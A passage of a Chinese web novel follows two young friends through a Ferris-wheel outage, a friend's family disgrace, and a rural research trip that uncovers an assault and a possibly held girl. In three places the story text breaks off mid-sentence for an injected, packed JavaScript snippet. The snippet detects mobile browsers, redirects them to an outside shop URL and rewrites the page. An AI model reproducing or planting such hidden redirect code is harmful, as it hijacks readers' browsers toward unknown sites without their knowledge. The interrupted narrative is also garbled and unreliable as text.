“滴——滴——”不知哪里的警报器突然响了两声,她被迫收回了视线,转移到同样茫然无措的方知言身上。 就在他们快要登顶的时候,机械突然静止,姜岁安与方知言被困在圆圆的玻璃罩中,不敢乱动。 “怎么回事?”她皱紧眉头,随后听见方知言的解释。 他说,大概是机械出了故障,然后背着手悄悄把一个东西往背包里塞。 姜岁安抱怨:“我们差一点就登顶了,这么卡着算什么事。” 等了一会儿,摩天轮依旧没有运转的迹象,倒是公园广播宣布着“噩耗”:“本原摩天轮出现一些问题,维修人员正在进行检查,请游客们不要着急,耐心等待设备重启和救援。”姜岁安掏出手机,在头顶和脚下的一片哀嚎中拨打了119。 橙黄黄一片中,唯剩天坛的藏青还没被落日染红。半个小时后,月亮从天边爬上来。 方知言坐在她对面,皱着眉、紧闭眼、抿起唇。姜岁安见他呼吸越来越急促,便悠悠走过去把他的背包与自己的放在一起,自己坐在了他身边,伸手摸向他的额头想确认他是不是发烧。 他说,他有点想吐。 姜岁安让他坚持会儿,就算要吐,也别吐自己身上。 她问他:“方知言,你是不是恐高?” 他摇摇头,很自然地把脑袋侧在她肩上,感受到姜岁安身体一阵颤抖,说:“有过一段时间轻微的幽闭恐惧症,不算什么大问题,今天可能是突然遇到了紧急情况,身体没来得及适应。” “也是,我说怎么天文台都能爬,到摩天轮这儿就蔫了。” 她打趣,想趁其不备扭扭身子,还没等动作,就听到方知言唤她:“姜岁安,借我一下肩膀,好吗?” 不知道为什么,那一个“好”字就这样死死地吊在她的喉咙里,说不出来。姜岁安手掌微颤,轻轻盖住了他的耳朵,吐槽道:“你这不是先斩后奏吗?” 他唇角不禁上扬。 姜岁安的手心冰冰凉凉,带着天竺葵淡淡的芳香,穿过他面前的空气,把周围染得清新甘甜。她的手覆在他耳朵上时,方知言感觉自己像溺了水,能够清晰地听见心脏里小鱼游弋划水的声音。 他深吸一口气,又重重呼出来,努力调整自己更加不稳的心率。 不知过了多久,姜岁安轻轻低头说:“方知言,我……”她叫了他的名字,可那就快要脱口而出的主谓宾突然分了手,姜岁安再无法把它们组织在一起。 她的卡壳如同咒语一般,唤醒了方知言,也唤醒了停滞的摩天轮。没等他开口问,姜岁安就把脸抬起看向窗外:“方知言,月亮圆了。” “哎呀,我听说李主任回到一中了,他们以后可有的好受了,不过这样也好……” 他们在最高处,月拨云而来,那么圆,那么亮。 他们异口同声叹息,不知道对方葫芦里卖的什么药。 …… 机械停止运转的那一瞬间和开始运转的那一瞬间,两人对对方的冲动忽地坠了下来,落在了理智的平原上。 他本想在摩天轮登顶的时候送上一封亲手写的情书,可惜器械故障了,再然后,他睡着了。 …… 这年里,姜岁安和方知言各有各的忙,以至于总凑不到一起。 她与夏静雯、方知言的生活和学习都在所谓正轨上走着,大一的夏天,方知言还过了个十八岁的生日——她那时才想起来,方知言提前了一年上学。 可蒋翼铭却遇到了麻烦。 大二的九月,我国反腐力度空前,蒋翼铭的父亲被打虎拍蝇抓了进去。他清楚自己政审这一关是不可能通过的,于是申请了转专业。蒋翼铭凭借自己出众的能力转到了自己喜欢的专业,代价是整个家族的崩塌。 他不清楚,这是因祸得福,还是罪有应得。 自那以后,他便时刻警告自己:我要做个好人。 在他的印象里,父亲是不苟言笑却又仁慈善良的人,他的书房里还挂着“为了人民”的书法作品,可当他坐在法院,看着法官的法槌不容置疑地落在底座上时,他才清楚自己的幼稚和可笑。 他把这个世界想得太简单了,简单到连最亲近的人都能骗他十几二十年。 他开始独来独往,不主动联系别人,也不与同学合作,只一味形单影只地泡在操作室里搞自己的东西。 他不敢面对夏静雯,也同样不敢面对方知言和姜岁安——警察、法官、记者,哪个都是正义的代名词。而他是贪官的孩子——他愤怒、他难过、他痛苦,可这些都只能化成无奈。 国庆小长假,与蒋翼铭失联半学期的姜岁安、夏静雯和方知言在愿海餐厅聊起这事的时候,感慨起了物是人非。 姜岁安喝了一口汽水,被呛得连连咳嗽,她咳嗽时随意一瞥,视线撞见了趴在长堤上思考人生的蒋翼铭。夏静雯彼时正在咄咄逼人地质问方知言,明明在一个学校,为什么不花点时间去找找。 方知言沉默,不愿争吵。 姜岁安扯了扯夏静雯的袖子,示意她往长堤上看去。 这一看,正是让三人铁马金戈杀去长堤的号令。 夏静雯长腿几迈,把准备逃跑却没走出五十米的蒋翼铭抓了起来。蒋翼铭认命般闭上眼睛,嘴里喊着:“女侠饶命。” 夏静雯眼眶泛红,声音铿锵:“躲我们的时候,想过现在要喊‘饶命’吗?” 那天中午,夏静雯和蒋翼铭喝了很多酒。 姜岁安见他们那架势,根本不敢喝,而方知言深知喝酒误事,总装自己不会喝酒。于是两人就在一旁不停劝酒——这个劝,是劝他们两个不要赌气般大醉方休,到了最后,“劝”竟成了“求”。 喝了酒的蒋翼铭滔滔不绝:“我就是蠢,什么都不知道,十几年来我们家就我一个被蒙在鼓里,他们一个两个都在诓我!什么前途光明都是狗屁,我现在就像个人人喊打的过街老鼠。可是我又做错了什么?我感觉我什么也没做,我没错!呜呜……我什么都错了……” 夏静雯举起一瓶酒径直倒在他头上,告诉他:“你是你,你爸是你爸,你不好好面对这个结果,反而莫名其妙孤立我们,发什么疯?你问问姜岁安和方知言,他们觉得这事是你的问题吗?”蒋翼铭哭了一阵后,两人机关枪一样吵了起来。 姜岁安和方知言哪里敢说话。 蒋翼铭说:“我不配见你们!” 夏静雯站起身来,指着他的脑袋:“你怎么不配!” “我不配!” “你配!” “不配!” “配!” …… 姜岁安被吓到了,盯着蒋翼铭发端一滴一滴落下的酒,大气不敢喘。 这是白天,进出饭店的人很多,有刚踏进来就被这阵仗吓走的。 老板娘从后厨过来查看一番情况,近乎乞求地劝了劝看起来还算清醒的姜岁安的方知言:“小同学啊,这顿给你们打折,能不能先把你们朋友带回去啊……你看我们这生意现在也不好做……” 姜岁安连连点头,做出保证后打发走一脸幽怨的老板娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们沿着愿海海滩走,走上大道后往巷子里转,到没话可聊的时候,姜岁安说:“方知言,我们再走一会儿好吗?哪怕不说话,也请……陪我一会儿好吗?” “正好,我还不想回去。” “我也是”。 …… 汐城的秋天不常下雨,但今日苍天给没带伞的人开了个短暂的玩笑,瑟瑟的午后撵走了太阳,落了阵小雨。 汐城的园林建筑并不有名,也不对外人征收门票,可以随意进出。 街道空旷,两人只能奔波寻找,临时站在亭台的廊道里躲雨。不一会儿,这里络绎挤满了来躲雨的人。 形形色色的人。 这雨也很快停,好似玩玩而已。意识到被耍了的人们抱怨了几句之后,又从各个方向的小路踩着石头离开了,就好像从未来过一样。 但姜岁安想的是,给自己留点足迹。 青瓦檐角还悬着未滴尽的水珠,偶尔落下一点,在石阶上敲出空寂的响。雨过天晴,庭院里积着浅浅的水洼,倒映着逐渐明亮的天和姜岁安好奇的面庞,而后她的五官从鼻尖漾开一圈圈波纹,肇事者是红枫。 她试着给夏静雯打了个电话,但没接通,方知言给蒋翼铭打了个电话,也没有接通。最后是联系上了出租车司机,才知道两人已经安全到了家。 她耳畔的发丝沾了水,身上瘦了许多,一袭白裙子只身站在窄窄的径道上,忽而转身,说:“方知言,如果有一天我遭到了重大的打击,你一定要——记得我。” 她本来想说的是—— 记得救我。 但是她又不想把气氛弄得那么凄凉。 “我会的。” 姜岁安领着方知言在红枫开满的雨后亭台中穿梭,唱着自己编的戏腔:“少年不识愁滋味,爱上层楼。爱上层楼,为赋新词强说愁……欲说还休,却道天凉好个…… “秋——” 此番分手后,两人回归到繁忙的大学生活。 姜岁安想推优出国,但大一的时候玩得有些疯,还总逃课,虽然突击之后的成绩排在中上游,但着实没有什么竞争力。现在,她一边卷绩点一边卷实习,期间还要把雅思和托福的分刷高,硬生生将大二和大三活得宛若高三。 姜岁安悔不当初,但玩了的、吃了的、享受了的都是自己的,要学会接受报应。 选择了的路依然要走。 23. 失落城(一) 姜岁安时常被人说是疯子,褒义的疯子。可他们的眼神含嘲带讽,脸上带着虚伪的笑。话听得多了,就会怀疑自己是不是真的有病。 文艺是病。 理想也是病。 文艺又理想,病入膏肓。 喜欢上一个人是病。 不敢喜欢一个人是病。 喜欢又不敢喜欢,药石罔效。 可年轻的灵魂甘愿疯着也不愿醒着,更不愿匍匐与妥协。 | 姜岁安今年大三,明年大四,随着下乡调研的队伍去到了千里之外的南桃乡。 这里白山黑水,有生气也有死气。 这是夏季,所以稻田很满,但即使绿意盎然,姜岁安也很难用某一种颜色去概括整个山村。 但鉴于几乎全村都是旱厕,人人喂鸡养猪,骚味很重——姜岁安认为,若不是为了调研,自己估计一辈子都不会主动来到这样的地方。 那与她同校的师姐是A大社会学系的学生,名叫陈雪,保研了本学院的研究生,此时已是研一了。 她长相清秀,说话温柔。 A大的科研导师制对本科生同样适用,她便可以跟着陈雪的导师一起研究课题“何去何从——乡村大龄男性婚姻困境悖论研究”。调研需要人手,陈雪知道姜岁安想走推优出国的路线,便拉上了她,为她在论文上争取一个冠名。 进村子前,德高望重的老教授特意与当地政府工作人员交代了一些事情。刚入寨子,她、陈雪和几位女同学就遭受着来自村民们或好奇或不怀好意的眼光,姜岁安眉头紧锁,放心不下。 詹成华老教授严肃告诫他们:“不管男生女生,半夜睡觉都把门关严实了,听到没有?这几天先委屈大家住这里,等后面镇里的车回来,就能到镇上住酒店了。” 他的话瞬间给了姜岁安一榔头。 她看过太多的故事。 农村是野蛮和朴实肆意疯长的地方,有《那山那人那狗》里的归宿,也有各种世态炎凉。 尽管老教授一再强调尽量对外保密,但“有大学生进村”的消息还是不胫而走,惹来好心的村民拿着自家的腊肉香肠送给调研组,或者是领着自家的孩子到他们办公的地方厚着脸皮问能不能教教孩子。 姜岁安在短短的三天里,见到了七八个孩子,被自己的监护人半推半就着带到这里,狠狠推进屋,还要被逼着开口求学。 大多是爷爷奶奶,女人多,男人少。 她每次都要耐着性子解释:“姨,叔,我们在工作。” 后来她也常常被派去带孩子玩,队长说,这是任务。 剩下最后走访的一家,村长客气地提醒了大家:“这屋人性格有点倔的,我们都叫许村霸,不太好惹,你们个注意点哈,有什么事喊我解决就好。” 詹成华点点头,扫视了跟在屁股后面的几人,摆摆手让姜岁安和陈雪跟着。 敲开门的时候,潮湿的木门缝里透出一阵水泥地板和土房子关出的阴冷,一只低矮的眼睛眼睛闪着阴戾的光。 随后大门被一个身材魁梧、皮肤黝黑、眉毛似张飞的男人打开,往下看,那只眼睛原来属于一只毛色油光的黑犬。 它的喉咙里发出咕噜噜的声音,被男人一脚踹开,惨叫一声后就灰溜溜地躲进了里屋。 “你们,来干啥?” 詹成华说是人口普查,问方不方便进去坐坐。 男人有些没好气地哼了一口气,嘴里嘟囔着:“又他妈来查。” 整个堂屋很空旷,沾满了蜘蛛网的老式摇头电扇不知疲倦地对着一个摇篮床吹,姜岁安路过时踮脚瞅了一眼——原来是个小婴儿。 许村霸说自己叫许三,家里排行老三。现在家中只有四口人——他自己、他痴呆的爹、他的一个女儿和儿子。 姜岁安几乎下意识地要问他妻子的事,被老教授按了下来,在她不明所以的注视下开始与许三拉家常,最后才从他口中得到了他妻子去世的消息。 “婆娘难产,走去喽。”他神色自若,仿佛在说一件极其轻巧的事,没有痛苦,甚至有些不耐烦。 老教授问:“结婚多少年了,登记了吗?” “不晓得。” 村长不知道从哪里冒出来,替许三解释道:“咱们农村人不讲究那么多,结婚嘛,大多都走个流程,比较质朴。” 许三是个粗人,但心思也缜密,他在回答完最基本的问题之后,就拒绝再回答什么了,老教授朝他道了谢,就拎着姜岁安和陈雪走了。 姜岁安一行人走在回大本营的路上,正穿过油菜花地时,就听见一个小女孩的声音:“大哥哥、大姐姐,你们从我家出来是干什么呀?” 姜岁安低下头,一个瘦瘦小小的女孩穿着泛黄的波点上衣和不大合身的长裤,背上的箩筐里装满了衣服,还有几块棉质的尿布。 与许三一样,她一只眼睛是单眼皮,一只眼睛是双眼皮,但比他秀气多。 姜岁安扶膝蹲下问:“你叫什么名字?” 她说:“我叫许招娣。” 姜岁安愣了一下,身边的同学们也愣了一下,她反应过来,望着一片黄澄澄、油汪汪的油菜花,说:“这样吧,我跟你呢也算认识了,不过我这人呢有个习惯,喜欢叫别人的外号,我们既然在这里遇见了,那我就叫你……小花,怎么样?” 小花脏兮兮的脸蛋表露出不自然的尴尬,最后还是说了“好”。 姜岁安说:“走吧,回家去吧。” 于是,小花背着那箩筐衣服,脚踩在田垄上,往山头那户人家去。大大的箩筐压着她的脊梁,就好像背后那座山压着矮屋。 詹成华在晚上的小结会的时候提了这件事,他说:“姜岁安同学,心地是善良,但是,你别太想着介入别人的因果了。” 姜岁安不置可否,不为自己开脱。 姜岁安这些天外出调研的时候,总能见到小花。 她要么在泥巴塘里挖藕,要么在河边洗衣服,有时候还会抱着一个白胖如玉的娃娃出来走。那条黑犬在她身后俨然没有那日的凶神恶煞,傻乎乎的。 姜岁安总从大本营里给她带些零食,小花总是羞怯怯问她:“能不能多拿一点。” 她本来觉得这小孩有点贪得无厌了,但是转念一想,八九岁的孩子贪吃一点也不是什么奇怪的事。 村里的网不大好,有时,大家会结伴到村口的小卖部偷点闲。 姜岁安到小卖部里买了几根棒棒糖,想了想,又买了双小码的水鞋。 等待大家在门口吃雪糕的时候,姜岁安会一边蹭网刷短视频,一边给方知言或者夏静雯打电话诉苦。 “姜岁安,你小心点。” 方知言和夏静雯每每在她准备挂电话前都会提醒她。 姜岁安自然知道他们两个是什么意思,又不愿细想他们的意思,于是总严肃地告诫方知言和夏静雯:“别总吓我,不过,老教授说了,等明后天镇里的车借过来,我们就能去镇上住了。” 她照常与他们通完电话,就起身回了村民家收拾出的客房。 姜岁安和陈雪借住的人家以卖萝卜干为生,姜岁安和陈雪除了调研以外,偶尔还帮忙洗洗萝卜皮、切切萝卜条。家里的奶奶老一把抢走她们手上的活,让她们多吃点,虽然姜岁安和陈雪几乎以泡面充饥,并且觉得泡面比萝卜菜好吃,但还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323212|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵不住她老人家的盛情款待。 萝卜宴,说好吃昧着良心,说不好吃心里愧疚。 爷爷说:“你们多点吃,给你们炖了只鸡,自己养的,肉肯定是比城里的鸡香,但是味道不晓得你们吃不吃得惯……你们也别老谢谢我们,我们还得谢谢你们来呢。” 姜岁安知道她为什么这么说,因为“收留”他们这群做调研的学生的家庭都得到了三百块的补贴。爷爷奶奶的孩子都在外务工,多年来没回来过,也不给赡养费。 她懂这里的方言,翻译给陈雪听之后,陈雪把自己碗里的鸡腿撕成两半,夹到了老人碗里。 姜岁安面红耳赤地挠挠头,看着桌上早就被自己啃干净的鸡腿,不好意思地呵呵傻笑起来。 与方知言的声音惜别的这个晚上,姜岁安和陈雪照常整理完录音稿后就睡下了。 夜里一阵风刮得窗子轰隆隆,惨白的月光透过一片薄薄的床单布窗帘,洒在姜岁安被蚊子咬了几个包手上,她一抓,抓住了夜里的一声凄厉尖叫。 那是陈雪的声音! 姜岁安几乎下意识地鲤鱼打挺起床,想打开手机手电筒又不小心按错了键,越急越打不开。 她脑子里闪过很多画面,觉得不能鲁莽行事,于是从后门溜进柴房找了根趁手的柴,又急促地出门就近找了几个男生的房门胡乱敲几下,随后猛地扎进陈雪房间,隔着绿色军大衣给了那人背后一闷棍。 第一棒她下了死手,见来者身上没几块肉,就又随便打了几下,直到他放开陈雪。 姜岁安蹲下把陈雪拥入怀中,死死闭着眼,任那老男人扯着自己的头发和衣服,也一声不吭。 爷爷从卧室里出来的时候还裸着上半身,手里拿着把锄头,像赶臭狗一样把老光棍赶到堂屋。调研小组和周边比较近的邻里们很快赶过来了,这一场闹剧才勉强结束。 陈雪显然受了惊吓,缩在角落不敢抬头,那老光棍半褪的裤子还没来得及穿上就被姜岁安打了一棍,又被爷爷用锄头锄了脚,此时正呲牙咧嘴惨叫,叫声与被阉割的公鸡无异。其他同学冲上去将建岁安和陈雪围起来。 一个中年妇女从几人中挤进来,丰乳肥臀的女人脸上长了颗痦子,抓住那老男人就骂:“你家刚来那女娃儿不听你话吗,”她说话的时候,那颗黑瘤子上下乱动,恶心至极,“大不了换一个,别在这群学生面前乱搞。村长交代过喽,他们后边有上面的人守着,等下闹得警察来哪能像以前一样好说?” 这女人以为他们从北城来的学生听不懂这方言,悄声当着他们的面议论了起来。好巧不巧,姜岁安大二的选修通识课学的就是中国方言,Presentation的主题恰巧又是这片区域的方言分支,所以她大概能明白他们在说些什么。 草…… 疯子,都是疯子。 姜岁安当即就要报警,却被姗姗来迟的詹成华制止了。 姜岁安一动不动地站在原地,连眨眼都忘了。 她的嘴微微张开,像是有话要问,但所有声音都噎在喉咙里。 姜岁安的目光似穿堂风,直直地定在遥远的门外的山外的月亮上,但瞳孔里什么都没有映出来,只是两个深黑的洞。 洞里,她见到自己被半推着到了房间,陈雪睡在自己身边。 她张着同样空洞无助的眼睛,没有说话。 回过神来已经是白天了,镇里提供的车终于姗姗来迟,载着他们将大本营搬到了镇里。 姜岁安不知道自己有没有跟爷爷和奶奶告别,只知道那个白天,大家都心事重重。 姜岁安觉得,这个课题也不用调研了,根本没什么悖论,一切都是——因果报应。 24. 失落城(二) 陈雪出事的第二天,他们没有回到南桃乡,而是在镇里开了一天的会。詹成华没有什么动员鼓舞的开场白,反倒点了一个男生,问了个问题,让他对着百度词条念一个概念。 “地方保护主义,指的是只强调保护局部或本地区利益,不顾全局或国家利益的错误思想和作风……” 这个男生的声音越来越小,突然被打断,另一个戴着眼镜总斯斯文文的男生义愤填膺道:“叫我说,就该报警把这群疯子一锅端了!” 做了这么多年学问、见了这么多黑白的导师认为他们太年轻易怒,在听了学生的激进发言后实在忍无可忍,越说越恼怒:“你们要是接受不了这世间的残酷和黑暗,就趁早别学人文社科了。真相是什么?是你们定的吗?是真的又能怎么样呢?它十分重要吗?我们只需要把这世间正在运行的规则讲给众人听,这才是我们此行的目的,再无其他!” 一直没发言的姜岁安在搓手整理措辞,在众人喘着粗气剑拔弩张时,她开口:“真的也可以成为假的,黑的可以消解为灰的,灰的再洗一洗就变成了白的,到底是真相不重要了,还是人们不愿正视真相,才说它不重要了呢?” 大家没再说话。 詹成华失落中带着质问:“真相?你们的证据呢?” 这下轮到姜岁安哑口无言了。 虽然姜岁安是新闻学专业的学生,毕业论文不经这社会学老教授之手——从某种意义上来说,她是与他争论的再好不过的人选。 但是,她现在实在没心情要与他争个你死我活的欲望,因为她心里清楚,他是在保护他们。 而确实,他们没有十足的证据去审判一个薛定谔的村庄。 她心情十分沉闷,突然跺脚骂了句脏话,然后又坐在位置上,郁闷地刷起了手机。 她突然发现,自己昨天晚上错按的按键不是其他,而是录音。 姜岁安兴奋起来,放了那段杂乱无章的音频出来。 黑痣女人和老光棍的声音窸窸窣窣,但能听清声音,只要经过专业的处理,就能知道他们说的是什么,顺着他们的话去查,就能找到真相! 她这样想,也这样说了,她翻译了他们的话,正当大家燃气一丝志气的时候,老教授问她:“你有没有学法的朋友?你问问他们,你上面说的这些,哪一条能给人定罪?” 她说:“只要曝光,让社会舆论施压,就能敦促警方去——” “别把你们新闻学那一套搬来这里。”詹成华本是想说,你吹个屁的牛,可看着姜岁安的铮铮恳切,却如何也骂不出口。 姜岁安如今二十岁整,却从来没有独立完成过什么事情。 她不明白自己到底要怎么面对这件事情,她想要依靠老教授,可他却不愿意帮自己;她想要找爸爸妈妈,可他们大概只会担心她的安危,而后告诉她,“安安,别冒险。” 她知道,是因为自己的能力还不够,是因为知道自己不够格去解决事情所以才会害怕,才会想要说服别人,而不是去直接做些什么。 想比说容易,说比做容易,做比成功容易。 她有点想流泪,但是忍住了。 陈雪因心理问题先停止了任务,她的活儿由姜岁安接替。 姜岁安早晨坐了五六个小时的车把她送到机场安检处的时候,陈雪整个人身子依旧止不住颤抖,根本不敢一个人往前迈步。姜岁安搂着她,到航班的VIP柜台询问是否有空乘可以领着陈雪登机。 姜岁安其实也觉得自己有点鲁莽,毕竟自己就是个只能坐坐经济舱的人,如今跑来人家VIP柜台要求这那。但她不能让陈雪再受一点刺激,就只能厚着脸皮求情。 突然,她想到什么,打了个电话给方知言,让他与那柜台的接待员谈。 不出几分钟,这事就解决了,那柜台服务员还主动向两人道歉,以表招待不周的愧意。 方知言确实是自己最管用的“钻石王老五”。 姜岁安目送空姐带着陈雪进入VIP休息室后,舒了口气,转身离开。 回到镇里已是夜深人静,詹成华心有愧疚,更有余悸。这一次,调研小组全部人出动,来接姜岁安。 姜岁安坐在那皮革味很重的车里,拳头紧握。 她那一个晚上还是没有睡好,总觉得有什么大事发生。 果不其然,第二天,方知言出现在了自己的面前,除了第六感之外,毫无征兆、一声不吭地赶了过来。 “你怎么来了?”她问。 方知言说:“我知道不请自来很没礼貌,但是姜岁安,我怕你也出什么事。” 方知言与詹成华像是很早就认识一般,他们聊了一会儿,詹成华突然抬眼盯着姜岁安,让她整个人都紧张起来。 她问他,到底与他说了什么,把这样呆板的老骨头给说动了。 方知言说:“詹老与我父亲是校友,我说,他不必害怕担什么责任,父亲那边能兜底。” “你爸也知道这事?” 他说:“骗骗他而已。” “唉——”姜岁安长叹了一口气,情绪复杂。 她问:“为什么要帮我?” 他答:“有些事情,从来都不是一个人的事情,别分你我。” “为了我来的,对吗?” “是的。” “为什么?” “你……是我朋友。” “再说一遍。” “你是我朋友。” 得到了答案的姜岁安扫扫衣服上的灰尘,从包里拿出相机摇了摇:“所以朋友,我们上路吧!” 他眉眼弯弯,笑意沉重。 因为不放心姜岁安这个急性子会搞出什么幺蛾子,詹成华安排了她和方知言一行人去田间采风。 站在地头田间,她往下游的藕塘里望,一个瘦小的身影吸引了她——是小花! 大人的嘴难撬,小孩就不一定了。 姜岁安的布袋子里有很多散装的糖果和巧克力,她找到小花,剥了一块巧克力给她。 小花的手上残留的泥巴干了,夏日炎炎,她的衣服已经湿透。 姜岁安和小花坐在离藕塘不远处的草甸上,方知言还没想好要不要坐,于是站着。 大片的荷花开满了池塘,红红绿绿一片,几乎将三人严严实实地遮住,从对面那头半山腰的屋子里往这边望,也望不到人头。 小花仔细端详着这颗巧克力,沿着边缘慢慢展开金箔纸,却在香甜气味的诱惑下犹豫许久,咽下口水,最后将金箔纸小心翼翼地重新包裹住巧克力。 姜岁安起初以为她想要留给黑犬,于是说:“狗子吃巧克力会死的。” 小花摇摇头,说是给姐姐的。 姐姐? 姜岁安一把拉下站着的方知言,朝他使了个眼神。 “就是……一个姐姐。” 姜岁安双手拖住下巴,问:“你还有姐姐吗?” 小花有些犹豫,但还是结结巴巴地告诉姜岁安和方知言:“不是亲的姐姐,是……收留来的姐姐……爸爸说……说的……” 姜岁安正准备说话,突然听到耳畔嗡嗡的声音。 夏天的蚊子,又毒又多。 她转头看向方知言,突然给了他一巴掌,把方知言和小花同时打愣住了。 姜岁安摊开手掌摆在两人面前:“这么大个蚊子。” 小花看着方知言,说:“好大一个印子。” 方知言温柔的脸上闪过一丝愠怒,皮笑肉不笑地抽搐着嘴角:“好大一个巴掌。” 姜岁安调皮地朝他眨眼。 小花说,抹点泥巴能防止蚊子来咬,想带着两人去池塘抹泥巴。 方知言怎么说也不愿意,看着姜岁安挽起裤腿到塘里绕了一圈后上来,手臂和小腿上沾满了灰褐色的泥。 正准备皱眉,姜岁安就张开黑乎乎的手,要往他脸上抹。 方知言下意识地撒腿就跑,姜岁安追他,小花追姜岁安,黑犬追小花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328610|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后以方知言拿出一瓶花露水作为短跑比赛的终结。 “你早说啊。”姜岁安怒嗔。 “你没问啊。” 姜岁安继续问小花:“天上掉下个林妹妹我是知道的,怎么还能捡到个姐姐?” 小花摇摇头,玩着手,说自己也不知道。 方知言连骗带猜:“你妈妈呢?我来这里之后,见过你爸爸,也见过你爷爷,为什么就妈妈不在家呢?” 小花说:“妈妈几年前就离家出走了,我也很想她。” “妈妈回来过吗?” 小花摇头。 姜岁安拉住她的手,诚恳地问:“那……弟弟是姐姐的孩子吗?” 许是她眼底探究的意味太浓厚,又或许是有人要让这个八九岁的孩子守住什么秘密,总之,小花像是一只受了惊的野猫,弓着腿蜷在那里,闭着嘴。 反倒是黑犬,冲着姜岁安和方知言叫了几声,喉咙里发出“咕噜噜”的声音。 姜岁安本来想摸摸她的头,但是她的手很脏,于是让方知言帮忙摸摸小花的头。 姜岁安压下自己的情绪,扬起笑脸,问:“小花,这个哥哥漂亮吧。” 小花这才抬起头,盯着方知言那张美玉般的脸,顿了顿,黝黑的脸透着红,说:“漂……漂亮。” “那,是我漂亮还是他漂亮?”姜岁安指了指自己,但一身泥巴的她说这话似乎没什么说服力。 “他……漂亮。” 姜岁安嘟着嘴:“果然小孩不会说谎——小花,你有想过读书考出去吗?” “去哪里?” 姜岁安思考了一会儿,说:“反正不在这里,最好是来北城,到时候我们请你去吃好吃的。铜锅涮肉、烤鸭、红烧狮子头……不对,来汐城吧,带你去爬电视塔和看海。” 姜岁安用手肘戳了戳方知言,听见他淡淡应了一声“对”。 小花说:“我不聪明,都是考班里倒数,家里也没钱。” 姜岁安让她不要那么悲观,安慰道:“我给你讲个故事吧,故事的主人公呢,是我和我的一个同学。她家境也不是特别好,但是她很坚韧,每天都抓紧一切时间学习,还一直把我当成假想敌。虽然她对我不是很好,但是她其实很善良,跟你一样善良。 “后来,她考上了211院校,当然不是考了两百二十一分啊……哎呀,这个故事其实还有很多细节,但是你只要知道,不要轻易放弃就好。” 姜岁安一边说,一边看向群山万野,突然明白了何佳为什么对自己这样。 小花说:“可是我也没有梦想。” 方知言安慰道:“没关系,不用着急。” “对,不用着急!” 夕阳西下,塘水暗下来了,掺着赭红的灰被投入塘中。圆圆的红日正挨着西边的田埂往下沉,光已经洒了,斜斜地铺过来,把半面塘染成暖色调。 这样的地方,简单,爱也简单恨也简单,善良也简单邪恶也简单。 “对了,我们既然是朋友,我有一样礼物送给你。” 姜岁安说完,从包里掏出了那双水鞋,说:“光脚很容易受伤的,虽然我看你们干农活的也基本都是光脚,但是从池塘走回家还有好大段路,路上碎石头也多,”姜岁安拍了拍身边的方知言,“你让这个哥哥抬脚,他鞋底肯定全部都是小石头。” 方知言识趣地照做。 小花的睫毛本身就藏在眼皮底下,现在垂得更低,飞快地眨了眨,仿佛要扫掉什么不真实的东西。 她屏住呼吸,直到胸口发疼才短促地吸进一口气,肩膀随之轻轻一颤。 “谢谢你……我,可以知道你的名字吗?” 姜岁安说:“可以啊,但只能是代号哦。” 方知言问:“你有什么外号?” 她掐了他一把,低声道:“现编的,别笑我,”转头对小花说,“我叫黄蓉。集天地灵气于一身,艳绝天下、冰雪聪明、玲珑剔透、多才多艺、博古通今的黄蓉。” 25. 失落城(三) 目送着小花的背影,姜岁安与方知言相视一蹙眉。 方知言说:“疑点很多,需要解决的事情也很多,我们不能贸然行动。” 姜岁安显然没听他说话,自顾自说:“我们应该找到她。” 方知言弹了她一脑蹦,声音难得染上一丝恼火:“你听见我刚才说什么了吗?” 姜岁安眨了眨眼。 于是方知言又重复了一遍自己方才已经说了的话。 她问:“不贸然需要多久?” “这还需要先计划。” “计划需要多久。” 方知言凝视着姜岁安的脸——她明明一脸单纯良善,脸上没有一丝因为生气而产生的褶皱,可是说的话却饶有强迫的嫌疑。 方知言并不说话,依旧平静地望着她。 姜岁安同样觉得他的磁场冷冽,也知道自己要是闯了祸,替她擦屁股的人大概率是方知言,所以这一次,她就算很想与他争辩一二,也还是听了话。 手臂和小腿上的泥巴已经干了,黏在皮肤上,好不痛快。 姜岁安突然让方知言把自己包里的相机取出来,他问:“为什么?” “这么漂亮的荷塘,你不得给我拍两张。” 方知言的拍照技术实在不敢恭维,在他的镜头里,姜岁安像一只小泥猴,嬉皮笑脸、撒泼打滚。 在姜岁安略显嫌弃的表情中,他发誓自己这一次绝对好好拍。 照片里,少女的发丝闪着光,喜悦的表情里有一丝沉重的忧伤。 “还满意吗?” “孺子可教。” “你怎么偷拍我这么多照片?” “你这人怎么偷翻别人相机啊?”姜岁安伸手就要来抢,方知言轻轻侧身,躲过了她的攻击。 姜岁安从手上抠下一块泥巴,朝他扔过去,方知言又轻巧地躲开了,顺带按下了快门,把姜岁安呲牙咧嘴的模样定格在画面里。 她气得牙痒痒。 …… 